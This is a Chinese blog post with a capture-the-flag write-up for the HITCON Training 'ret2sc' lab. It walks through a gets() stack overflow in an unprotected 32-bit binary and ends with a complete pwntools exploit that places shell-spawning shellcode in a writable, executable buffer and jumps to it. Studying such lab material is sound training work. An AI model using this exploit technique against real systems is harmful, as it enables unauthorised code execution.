

HITCON Training Lab3 Writeup

原创

人而已 于 2021-06-29 13:27:36 发布 29 收藏

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_39387233/article/details/118333205

版权



[CTF 专栏收录该内容](#)

4 篇文章 0 订阅

订阅专栏

首先看一下文件的基本属性:

```
$ file ./ret2sc
```

```
./ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped
```

利用checksec查看结果:

```
Canary : X
NX : X
PIE : X
Fortify : X
RelRO : Partial
```

所有的保护措施都没有开启。

对文件进行反编译, 得到如下代码:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v4; // [sp+1Ch] [bp-14h]@1
4
5     setvbuf(stdout, 0, 2, 0);
6     printf("Name:");
7     read(0, &name, 0x32u);
8     printf("Try your best:");
9     return (int)gets((char *)&v4);
10 }
```

显然在第9行的gets有一个栈溢出漏洞。

看一下输入name所在内存空间的属性:

```
0xbffffec0 +0x0000: 0xbffffdc → 0xb7e33c1b → <_cxa_atexit+27> add esp, 0x10 ← $esp
0xbffffec4 +0x0004: 0x0004a060 → "123456789\n"
0xbffffec8 +0x0008: 0x00000032 ("2?")
0xbffffecc +0x000c: 0x00000000
0xbffffed0 +0x0010: 0x00000001
```

0x804a060处存放了输入的name。

```
gef> vmmmap
[ Legend: Code | Heap | Stack ]
Start      End        Offset     Perm
0x08048000 0x08049000 0x00000000 r-x
0x08049000 0x0804a000 0x00000000 r-x
0x0804a000 0x0804b000 0x00001000 rwx
0xb7e04000 0xb7e05000 0x00000000 rwx
0xb7e05000 0xb7fb5000 0x00000000 r-x
0xb7fb5000 0xb7fb6000 0x001b0000 ---
0xb7fb6000 0xb7fb8000 0x001b0000 r-x
0xb7fb8000 0xb7fb9000 0x001b2000 rwx
0xb7fb9000 0xb7fbc000 0x00000000 rwx
0xb7fd5000 0xb7fd6000 0x00000000 rwx
0xb7fd6000 0xb7fd9000 0x00000000 r--
0xb7fd9000 0xb7fdb000 0x00000000 r-x
0xb7fdb000 0xb7ffe000 0x00000000 r-x
0xb7ffe000 0xb7fff000 0x00022000 r-x
0xb7fff000 0xb8000000 0x00023000 rwx
0xbffdf000 https://blog.csdn.net/qq_39387233
```

0x804a000--x804b000可读、写、可执行。

因此考虑在栈溢出后跳到name所在的位置进行执行。

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

r = process('./ret2sc')
name = 0x804a060
r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")
payload = flat(['a'*32, name])
print(payload)
r.sendline(payload)

r.interactive()
```